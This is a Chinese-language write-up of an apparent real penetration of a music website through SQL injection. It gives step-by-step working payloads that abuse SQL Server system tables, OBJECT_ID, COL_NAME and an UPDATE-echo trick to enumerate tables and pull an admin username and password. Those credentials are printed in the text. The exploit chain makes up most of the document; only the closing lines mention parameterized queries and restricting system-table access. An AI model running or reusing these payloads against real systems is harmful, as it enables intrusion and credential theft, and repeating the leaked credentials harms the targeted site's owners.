面對閉源、非公開下載的應用,表名/列名不在常規字典中,盲猜極其低效。本文實戰記錄一次滲透測試,展示如何利用 SQL Server 系統表 sysobjects/syscolumns、元數據函數 OBJECT_ID()/COL_NAME(),配合 UPDATE 回顯技術,實現「數據庫自我招供結構 → 精準提取管理員憑證」的全自動化利用鏈。
目標:音樂站 /showspecial.asp?Specialid=1817
單引號觸發報錯:Microsoft OLE DB Provider for SQL Server 錯誤 80040e14 → 確認 SQL Server、無過濾、可注入。
rrrrr,獲取 id=103534user 表存在 id、username、email 列(通過 AND 1<>(SELECT COUNT(col) FROM [user]) 布爾盲注)UPDATE [user] SET email=... WHERE id=103534 可回顯數據(將查詢結果寫入自身 email 字段,再前台查看)| 系統表 | 關鍵列 | 含義 |
|---|---|---|
sysobjects | name | 對象名(表/視圖/存儲過程等) |
xtype | 類型:U=用戶表,P=存儲過程,V=視圖 | |
id | 對象 ID(遞增,可用於分頁) | |
status | 狀態:用戶表通常 > 0 |
OBJECT_ID('table_name') → 返回表的對象 IDCOL_NAME(object_id, column_id) → 返回指定表的第 N 個列名(column_id 從 1 開始)
# 1. 獲取第一張用戶表名
payload = "UPDATE [user] SET email=(SELECT TOP 1 name FROM sysobjects WHERE xtype='U' AND status>0) WHERE id=103534;--"
# → email = 'lmuser'
# 2. 獲取該表 OBJECT_ID
payload = "UPDATE [user] SET email=(SELECT TOP 1 id FROM sysobjects WHERE xtype='U' AND name='lmuser') WHERE id=103534;--"
# → email = '363148339'
# 3. 獲取下一張表名(利用 id 遞增特性)
payload = "UPDATE [user] SET email=(SELECT TOP 1 name FROM sysobjects WHERE xtype='U' AND id>363148339) WHERE id=103534;--"
# → email = 'ad'
# 循環直到無結果 → 獲得所有用戶表名
# 4. 發現敏感表 admin → 枚舉其列名
payload = "UPDATE [user] SET email=(SELECT TOP 1 COL_NAME(OBJECT_ID('admin'), 1) FROM admin) WHERE id=103534;--"
# → email = 'id'
payload = "UPDATE [user] SET email=(SELECT TOP 1 COL_NAME(OBJECT_ID('admin'), 2) FROM admin) WHERE id=103534;--"
# → email = 'username'
payload = "UPDATE [user] SET email=(SELECT TOP 1 COL_NAME(OBJECT_ID('admin'), 3) FROM admin) WHERE id=103534;--"
# → email = 'passWord'
# 獲取 admin 表第一行 id(假設為 44)
payload = "UPDATE [user] SET email=(SELECT TOP 1 id FROM admin) WHERE id=103534;--"
# 提取用戶名
payload = "UPDATE [user] SET email=(SELECT TOP 1 username FROM admin WHERE id=44) WHERE id=103534;--"
# → email = 'gscdjmp3'
# 提取密碼
payload = "UPDATE [user] SET email=(SELECT TOP 1 passWord FROM admin WHERE id=44) WHERE id=103534;--"
# → email = 'XZDC9212CDJ'
| 技術 | 作用 | 適用條件 |
|---|---|---|
| 系統表枚舉 | 無需字典,獲取所有用戶表/列名 | SQL Server / MySQL (information_schema) / PostgreSQL / Oracle |
| OBJECT_ID + COL_NAME | 按序號獲取列名,避免列名猜解 | SQL Server 專有 |
| UPDATE 回顯 | 將子查詢結果寫入可控字段,繞過無直接回顯限制 | 需可控 UPDATE 注入點、目標字段長度足夠 |
| id 遞增分頁 | 利用 OBJECT_ID 遞增特性實現「下一條」 | sysobjects.id 遞增分配 |
| TOP 1 限制單行 | 避免子查詢返回多行報錯 | SQL Server / Access |
| 數據庫 | 枚舉表名 | 枚舉列名 | 回顯技巧 |
|---|---|---|---|
| MySQL | SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() | SELECT column_name FROM information_schema.columns WHERE table_name='xxx' | UPDATE ... SET col=(SELECT ...)、UNION SELECT、錯誤回顯 |
| Oracle | SELECT table_name FROM user_tables | SELECT column_name FROM user_tab_columns WHERE table_name='XXX' | UTL_INADDR.GET_HOST_NAME、XMLTYPE 錯誤回顯 |
| PostgreSQL | SELECT tablename FROM pg_tables WHERE schemaname='public' | SELECT column_name FROM information_schema.columns WHERE table_name='xxx' | CAST((SELECT ...) AS INT) 錯誤回顯 |
SELECT 系統表權限(MySQL: `GRANT SELECT ON information_schema.*` 默認可讀,需視圖層隔離;SQL Server: `DENY SELECT ON sys.objects TO web_user`)。「讓數據庫自我招供結構」是注入利用從「盲人摸象」進化為「精準手術」的關鍵飛躍。掌握系統表結構、元數據函數、回顯技巧的組合拳,配合自動化腳本,可在分鐘級完成對未知應用的深度滲透。防禦端,參數化查詢仍是銀彈;纵深防禦中,**系統表訪問控制**常被忽視,卻是斷開利用鏈的關鍵一環。